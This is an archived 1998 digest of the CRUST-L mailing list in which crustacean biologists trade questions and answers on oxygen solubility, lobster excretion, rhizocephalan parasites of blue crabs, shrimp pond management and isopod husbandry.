CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Thu, 6 Aug 1998 10:23:56 -0400 Subject: Re: CRUST-L: solubility of oxygen (fwd) > >To: Jeffrey Shields >From: Chuck Booth >Subject: Re: CRUST-L: solubility of oxygen (fwd) >Cc: >Bcc: >X-Attachments: > >Steve, > The published equations typically allow you to correct pure water O2 >solubilities for temp, salinity, and pressure, and are a pain to use. >Extensive tables of interpolated values can be found in the following: > >Colt, J. (1984) Computation of dissolved gas concentrations in water as >functions of temperature, salinity, and pressure. American Fisheries >Society Special Publication 14, Bethesda, MD. > >Kennish, M.J. (1989) Practical handbook of marine science. CRC Press, >Boca Raton. (I think a new edition just came out). > >In case you have trouble finding one of these references, here are a few >values for O2 concentrations (mg/L) in air saturated water at sea level: > >Salinity 0 ppt > >30 C 7.539 mg/L >40 C 6.410 > >Salinity 10 ppt > >30 C 7.136 >40 C 6.091 > >Salinity 20 ppt > >30 C 6.755 >40 C 5,787 > >Salinity 30 ppt > >30 C 6.394 >40 C 5.498 > >Chuck Booth > > > > > > > > > > >>Please respond to Stephen Dunbar and not to me. >>Thanks, >>Jeff >> >>====================================================================== >>>Date: Thu, 06 Aug 1998 12:08:24 >>>To: CRUST-L@VIMS.EDU >>>From: ""Stephen G. Dunbar"" >>>Subject: Solubility of O2? >>>Mime-Version: 1.0 >>>Content-Type: text/plain; charset=""us-ascii"" >>> >>>Hi Fellow Crusties, >>> >>>I'm wondering if someone out there would have an extended table for the >>>solubility of O2 in seawater from 30C to about 40C and from 0ppK to about >>>30ppK. Even if you only have a few points I could extrapolate the rest. >>> >>>I have checked the usual liturature (CRC Handbook of Chem. and Phys., Am. >>>Pub. Health Standard Methods for Analysis of Water, etc.) but cannot find a >>>table that goes past 30C. >>> >>>Could anyone suggest a more extensive table? Or is there a simple equation >>>to arrive at the solubility in mg/L? >>> >>>Thanks for any help you can supply. >>> >>>Sincerely, >>>Steve >>> >>> >>>Stephen G. Dunbar >>>Central Queensland University >>>Faculty of Arts, Health and Sciences >>>School of Biological and Environmental Sciences >>>CQ Mail Centre, QLD 4702, Australia >>>Email: dunbars@topaz.cqu.edu.au >>>Ph: 0749-309-647 Fax: 0749-309-209 >>>Ph: 011-61-749-309647 (from Canada;note change from 079 to 749) >>> >>> >>> >> jeff@vims.edu >> ( ) ( ) Jeffrey Shields >>(^ ^) (^ ^) Assistant Professor >> (^) . . (^) Virginia Institute of Marine Science >> \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA >> \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 >> \\^ ^^ ^/ http://www.vims.edu/~jeff/ >><====\\^ ( ) ^/====> >> <====\\^ ^/====> >> <====\\ /====> >> ()===(____)===() >>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >>To (un)subscribe to CRUST-L: >>Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >>To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >>Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >>Archives available at http://www.vims.edu/~jeff/archive.htm >>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > > - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jan Factor Date: Thu, 06 Aug 1998 10:52:28 -0400 Subject: Re: CRUST-L: Nitrogenous waste production rates Dear Rich Sewell: For a recent review, please see: Brian McMahon, Chapter 18 (pp. 497-517), The physiology of gas exchange, circulation, ion regulation, and nitrogenous excretion: An integrative approach, IN: J.R. Factor (Ed.), Biology of the Lobster Homarus americanus, Academic Press, San Diego, 1995. Best, Jan Factor, 8/6/98 Rich Sewell wrote: > Dear Crusties, > I am trying to find references or work done on nitrogenous production > by lobster (Homarus americanus), and various commercial species of > crab. I'm interested in comparing production rates. Do you all have > any suggestions? This must have been thoroughly researched, but I'm > not familiar with it. Thanks in advance for your help. > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Fernando Alonso"" Date: Mon, 10 Aug 1998 08:06:52 +0200 Subject: CRUST-L: Rotenone & signal crayfish Does anybody have information on direct use or effects of rotenone on signal crayfish, Pacifastacus leniusculus ? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Hoeg, Jens T {CAL}"" Date: Mon, 10 Aug 1998 16:10:28 +0200 Subject: CRUST-L: Macrobrachium intermedium Stimpson - what is the year? Do you wan t to winn a free beer? This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. - ------ =_NextPart_000_01BDC469.2B6095C0 Content-Type: text/plain; charset=""iso-8859-1"" Dear colleagues So sorry to bother you with a simple question. I only need the ""year of the original desciption "" of MACROBRACHIUM INTERMEDIUM STIMPSON ???? to send of last version of a paper. Whover replies first get's a beer at the next Crustacean Conference I attend! Jens Jens T. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 10 Aug 1998 13:38:15 -0400 Subject: CRUST-L: Probopyrus (fwd) Please respond to Ernesto or the list, and not to me. Thanks, Jeff =============================================================== >From: ""ERNESTO CAMPOS"" >To: ""lucifer"" >Cc: ""Crustacean List"" >Subject: Probopyrus oviformis >Date: Mon, 10 Aug 1998 09:30:58 -0700 >MIME-Version: 1.0 >Content-Type: text/plain; > charset=""iso-8859-1"" >Content-Transfer-Encoding: 7bit >X-Priority: 3 >X-MSMail-Priority: Normal >X-Mailer: Microsoft Outlook Express 4.72.3110.5 >X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 > >Dear Omar >According Markham (1985. Memoirs of the Hourglass Cruises 7(3): 1-156) >Probopyrus oviformis (which was described on the basis of a inmature female) >is a junior synonym of P. pandalicola. Best wishes. Ernesto. > >Prof. Ernesto Campos >Universidad Autonoma de Baja California >Facultad de Ciencias >4492 Camino de la Plaza (Ste. Ese. 1108) >San Ysidro, CA 92173-3097 >-----Original Message----- >From: lucifer >To: CRUST-L@vims.edu >Date: Tuesday, August 04, 1998 5:37 AM >Subject: CRUST-L: ISOPODA > > >HI! >I WORK WITH PARASITIC ISOPODS AND I NEDD TO KNOW: ARE PROBOPYRUS OVIFORMIS >AND PROBOPYRUS PANDALICOLA THE SAME SPECIE? >THANKS; >OMAR PEREZ >UNIVERSITY OF PUERTO RICO >DEPARTMENT OF BIOLOGY >PO BOX 23360 >SAN JUAN PR 00931-3360 >TEL. 787-764-0000, EXT. 4898 >FAX 787-764-2610 >e-mail: lucifer@prtc.net >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Hoeg, Jens T {CAL}"" Date: Tue, 11 Aug 1998 11:02:35 +0200 Subject: CRUST-L: Macrobrachium intermermedium (Stimpson, 1869) and beer! This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. - ------ =_NextPart_000_01BDC507.4A18E030 Content-Type: text/plain Colleagues: cease firing! Garo Poore won the price Runner-up was Peter Dworschak Thanks Jens T. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #155 ***************************** crust-l-digest Tuesday, 18 August 1998 Volume 01 : Number 156 CRUST-L: abnormal blue crab Re: CRUST-L: abnormal blue crab [none] CRUST-L: blue crab infected with rhizocephalan barnacle RE: CRUST-L: blue crab infected with rhizocephalan barnacle RE: CRUST-L: blue crab infected with rhizocephalan barnacle CRUST-L: parasites and physiology CRUST-L: oxygen demand by crayfish CRUST-L: Bathynomus sp. -giant isopods CRUST-L: geol. ranges CRUST-L: Re: Eriocheir sinensis (fwd) CRUST-L: Re: Serolidae CRUST-L: [""Triops & Co."" ] (fwd) CRUST-L: Scientific Meetings Info CRUST-L: Prawn Gut Analysis CRUST-L: Where is Brusca? ---------------------------------------------------------------------- From: Chuck Booth Date: Tue, 11 Aug 1998 15:39:36 -0400 Subject: CRUST-L: abnormal blue crab Dear Crust-L'ers, I just received a shipment of blue crabs (Callinectes sapidus) from Florida, and one female (carapace width about 6 cm, so I am guessing she is sexually immature) has a brownish inflated sac protruding from her abdomen. Can anyone tell me what this might be? If it is a parasite, is it likely to infect other crabs in the tank? Thanks, Chuck Booth - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""DANIEL ABED-NAVANDI"" Date: Wed, 12 Aug 1998 09:37:34 MET-1MEST Subject: Re: CRUST-L: abnormal blue crab > Dear Crust-L'ers, > I just received a shipment of blue crabs (Callinectes sapidus) from > Florida, and one female (carapace width about 6 cm, so I am guessing > she is sexually immature) has a brownish inflated sac protruding > from her abdomen. Can anyone tell me what this might be? If it is a > parasite, is it likely to infect other crabs in the tank? Thanks, > Chuck Booth > > ------------------------------------ > Dr. Charles E. Booth > Department of Biology > Eastern Connecticut State University > 83 Windham St. > Willimantic, CT 06226 > U.S.A. > > Ph: 860-465-5260 > Fax: 860-465-5213 Dear Chuck, it is probably a ""sacculina externa"", the external manifestation of a rhizocephalean cirriped parasiting brachyurans. Regards daniel _______________________________________ Daniel Abed-Navandi Department for Marine Biology Institute for Zoology University of Vienna Tel: +43.1.31336.1315 or 1316 Fax: +43.1.31336.778 Althanstrasse 14 A-1090 Vienna Austria """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: owner-crust-l Date: Wed, 12 Aug 1998 13:28:52 -0400 Subject: [none] Please respond to Tiziano Scovacricchi and not to me. Thanks, Jeff Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: owner-crust-l@back.vims.edu (by way of Jeffrey Shields ) ========================================fwd================================ Subject: Shrimp farming info request. e-mail tisco@ibm.ve.cnr.it Dear Crust-L'ers, can anybody help me in solving the following problem ? We are growing shrimps (Penaeus japonicus) in two ponds of about 9 ha each. Both ponds were originally very well prepaered: they appeared coloured and turbidity was easily mantained at about 30-35 cm (Disco secchi). During the farming cicle, due to lowering DO values, we had to force a little bit the water exchanges. At that point we registered lower turbidities and quickly fertilized with urea and triple perfosfate (0,83 kg N + 0,08 kg P per ha every 2-3 days). Pond n0 2 is O.K., but we could not recover pond n0 1, despite our efforts to fertilize more and more times. Pond n0 1 is now full of macroalgae. What can we do ? Just contiunue to fertilize or there is something more useful ? Thank you so much. Tiziano Scovacricchi C.N.R. - Istituto di Biologia del Mare Riva Sette Martiri, 1364/a 30122 Venezia, Italia tel 0039-(0)41-520.76.22 fax 0039-(0)41-520.41.26 e-mail tisco@ibm.ve.cnr.it =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Wed, 12 Aug 1998 16:32:06 -0400 Subject: CRUST-L: blue crab infected with rhizocephalan barnacle Thanks to all who offered their expert opinion in diagnosing my blue crab's condition (consensus is Loxothylacus texanus); she is now preserved for use in our parasitology course. Jeff Shields suggested that I routinely check the crabs I use in my physiology exp'ts for such parasites. I am afraid that parasites are something many physiologists (esp. those who never had a parasitology course) working on wild animals try not to think too much about (if the animal seems to be healthy and survives long enough to provide data, the experiment is a success). The problem is, if one does look for parasites almost certainly some will be found, and it is then difficult to know how, or if, this should be factored in (or out) when interpreting the data. I suspect a lot of classical physiology and biochemstry was performed on animals with parasites (not to mention other ailments), and this accounts for at least some of the variation in results among studies. Chuck Booth - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Hoeg, Jens T (MSX)"" Date: Thu, 13 Aug 1998 08:50:40 +0200 Subject: RE: CRUST-L: blue crab infected with rhizocephalan barnacle This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. - ------ =_NextPart_000_01BDC686.AF94EB60 Content-Type: text/plain Dear Chuck Its true that many physiologists do not look too carefully for parasites when selecting animals for experiments etc. However, with rhizocephalans you have a really bad situation. These parasites completely takes over control of the host which is in effect rendered as nothing as a robot. Paraphrasing one of my colleagues Rhizocephalans are to all effects a parasite genotype within a host phenotype. The parasites: Feminize males in terms of morphology, physiology, and behaviour Sterilizes males and females Arrests the moult cycle in many host parasite combinations (but NOT in all) Affects the growth of the host either negatively or positively Manipulates the host into ""believing"" that the external parasite is the host's own offspring, which is then cared for with the normal brood caring behaviour including grooming, abdominal flapping, and assisting the parasite larvae in escaping at hatch time. I am sure very peculiar results can result if you consider such a beast as a normal crab. Add to this that many of these effects are OPERATIVE soon after infection of the host and much BEFORE the parasite emerges on the surface of the host! AND that in many populations the prevalence of crab infesting rhizocephala can be high (in some places reaching 100%). ..but now I have scared you away from your work. That certainly was not my intention. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 13 Aug 1998 08:34:56 -0400 Subject: RE: CRUST-L: blue crab infected with rhizocephalan barnacle Chuck, Jens, Crusters, I should have added a caveat or two to my post on parasites and physiological impacts on the host. In many cases parasites can be benign, especially larval forms in intermediate hosts (but even these have many exceptions such as trematodes in molluscs). It's just that there are many cases like the rhizocephalan that have major impacts on host physiology, or behavior, even before the infection is patent or observable without damaging the host. I guess the upshot is that sample sizes need to be reasonable to pick up outliers, and outliers need to be examined for disease. Regards behavior: In at least three cases I've seen sacculinized males (with sacculina interna, i.e., the parasite not observable, but the crabs showing signs of feminization) in precopulatory embraces with uninfected males. Now wouldn't that be a psychologist's dream come true?! Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Thu, 13 Aug 1998 09:46:58 -0400 Subject: CRUST-L: parasites and physiology In my own field of (respiratory/circulatory/acid-base/ionoregulatory) physiology, I am aware of very few studies of parasite effects on host physiology (Andy Gannon's work on gill ectoparasite effects on blue crabs and Lou Burnett's work on Perkinsus infections in oysters are among those few). There is no question but that adding parasites in a controlled fashion to a physiology study increases the complexity of the study many-fold, and this no doubt deters many investigators who recognize the need for these very types of studies. [I will confess to another 'shortcoming' of many physiology studies (and, by extension, the physiologists who conduct them): we tend to focus on physiological processes and responses to, say, exercise, or environmental changes, but ignore the behavioral or ecological implications of those responses. For example, the physiology literataure is loaded with studies looking at the effects of hypoxia on acid-base balance in crabs, but almost no one ever bothers to consider, let alone experimentally test, if this internal disturbance is really important to the animal's ability to forage, mate, etc. We take it for granted that everyone recognizes that internal homeostasis is vital for the animal, but never bother to verify how vital it really is.] In this regard, vertebrate physiological ecologists are considerably ahead of us invert-ophiles, largely, I think, because a number of vertebrate animal 'models' are rather easier to work with (it is far easier to quantify locomotor performance (and its impairment) in lizards and fish than in crabs. Even so, I am quite sure that the thought of working with wild animals harboring untold numbers of parasites and/or other difficult-to-diagnose diseases has driven many a physiologist to work with laboratory strains of mice and rats in order to eliminate as much of the uncertainty as possible. In summary, I would urge those of you who work with parasites to consider reaching out to your physiologist (and ecologist) colleagues and offering to undertake collaborative studies looking at the effects of parasites on animal physiology, behavior, and performance. Sorry to ramble on this way! Chuck - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Hovland, Eric"" Date: Thu, 13 Aug 1998 18:04:44 -0400 Subject: CRUST-L: Bathynomus sp. -giant isopods Greetings to all, I am interested in contacting anyone who has captive husbandry experience with Bathynomus sp., in particular the gian isopod, Bathynomus giganteus. I presently maintain a group of 9.0.0 B. giganteus in one of my exhibits. I am approaching a year on most of these animals. If anyone has had similar experiences or is intersted in my experiences, please contact me directly at ehovland@flaquarium.org and we'll swap tales...or is that pleotelsons? Regards, Eric Hovland The Florida Aquarium Tampa, FL ehovland@flaquarium.org 813/253-3177 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 17 Aug 1998 17:07:26 -0400 Subject: CRUST-L: Re: Eriocheir sinensis (fwd) Please respond to Johan Mares and not to me. Thanks, Jeff ================================================================ >Reply-To: ""MARES JOHAN"" >From: ""MARES JOHAN"" >Hello, > >Can anyone help me to obtain a growth table of E. sinensis (size >of carapace in relation to age in months) > >Thank you, > >http://www.ping.be/tadorna : Homepage of the Strandwerkgroep >(organisation for marine biology in Belgium) > >ing. Johan Mares >e-mail : Johan.Mares@ping.be >url : http://www.ping.be/tadorna > >***************************************************** > Seeing, contrary to popular wisdom, isn't > believing. It's where belief stops, because > it isn't needed any more (Terry Pratchett). >***************************************************** > > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 17 Aug 1998 17:03:57 -0400 Subject: CRUST-L: Re: Serolidae Please respond to Christoph Held and not to me. Thanks, Jeff >From: ""Christoph Held"" >Organization: Fak. Biologie, Uni Bielefeld >To: crust-l@vims.edu >Date: Mon, 17 Aug 1998 10:38:28 GMT+0100 >MIME-Version: 1.0 > > >Dear colleagues, > >I am currently working on systematic and biogeographic aspects >of the isopod family Serolidae. So far most of the material came from >Antarctic waters, but other areas (deep sea, South American Shelf, >Australian shelf, Carribean Sea, Pacific Ocean etc.) are strongly >underrepresented up to now. If any of you should discover these >disc-shaped, benthic isopods in his/her samples, please do me a >favour and follow this short protocol in order to keep the material >suitable for molecular work: > >1) Avoid formalin! Put living or freshly dead serolids into 80-100% ethanol >(no special purity required). >2) If possible, keep the samples refrigerated for a period of 2-3 weeks >and contact me. > >For other aspects of this work also Arcturidae and Gnathiidae >(Isopoda) are very welcome. > >Thank you in advance, > >Christoph Held >Ruhr-Universitaet Bochum >Fakultaet fuer Biologie >Lehrstuhl fuer Spezielle Zoologie >Gebaeude ND05-755 >D-44780 Bochum >Germany >Tel.: ++49-(0)234-700-4563 >or ++49-(0)521-106-2718 >Fax: ++49-(0)521-106-2998 >email: held@biologie.uni-bielefeld.de > >Christoph Held >held@biologie.uni-bielefeld.de > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 17 Aug 1998 17:11:02 -0400 Subject: CRUST-L: [""Triops & Co."" ] (fwd) Here's an interesting bounce. Jeff >To: crust-l@VIMS.EDU >Subject: Triops cysts >Content-Type: text/plain; charset=us-ascii >Content-Transfer-Encoding: 7bit > >Dear Crusters, >Just a short note to inform you that cysts of >-Triops cancriformis >-Branchipus schaefferi >-Leptestheria dahalacensis >are now available at http://triops.freeservers.com >Best wishes, ""Triops & Co"" > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Alfred Low Date: Mon, 17 Aug 1998 20:14:10 -0700 (PDT) Subject: CRUST-L: Scientific Meetings Info Dear Colleagues I have a list of scientific meetings (conferences, symposiums, etc.) at the following address: http://www.geocities.com/CollegePark/Quad/4386/meetings.htm Also, please tell me about upcoming meetings that are not currently listed. Even an email address of the organiser would be useful. Thanks, Alfred Low. == Masters Student Institute of Postgraduate Studies and Research University of Malaya 50603 Kuala Lumpur Tel: +603 759-4609 Fax: +603 759-4606 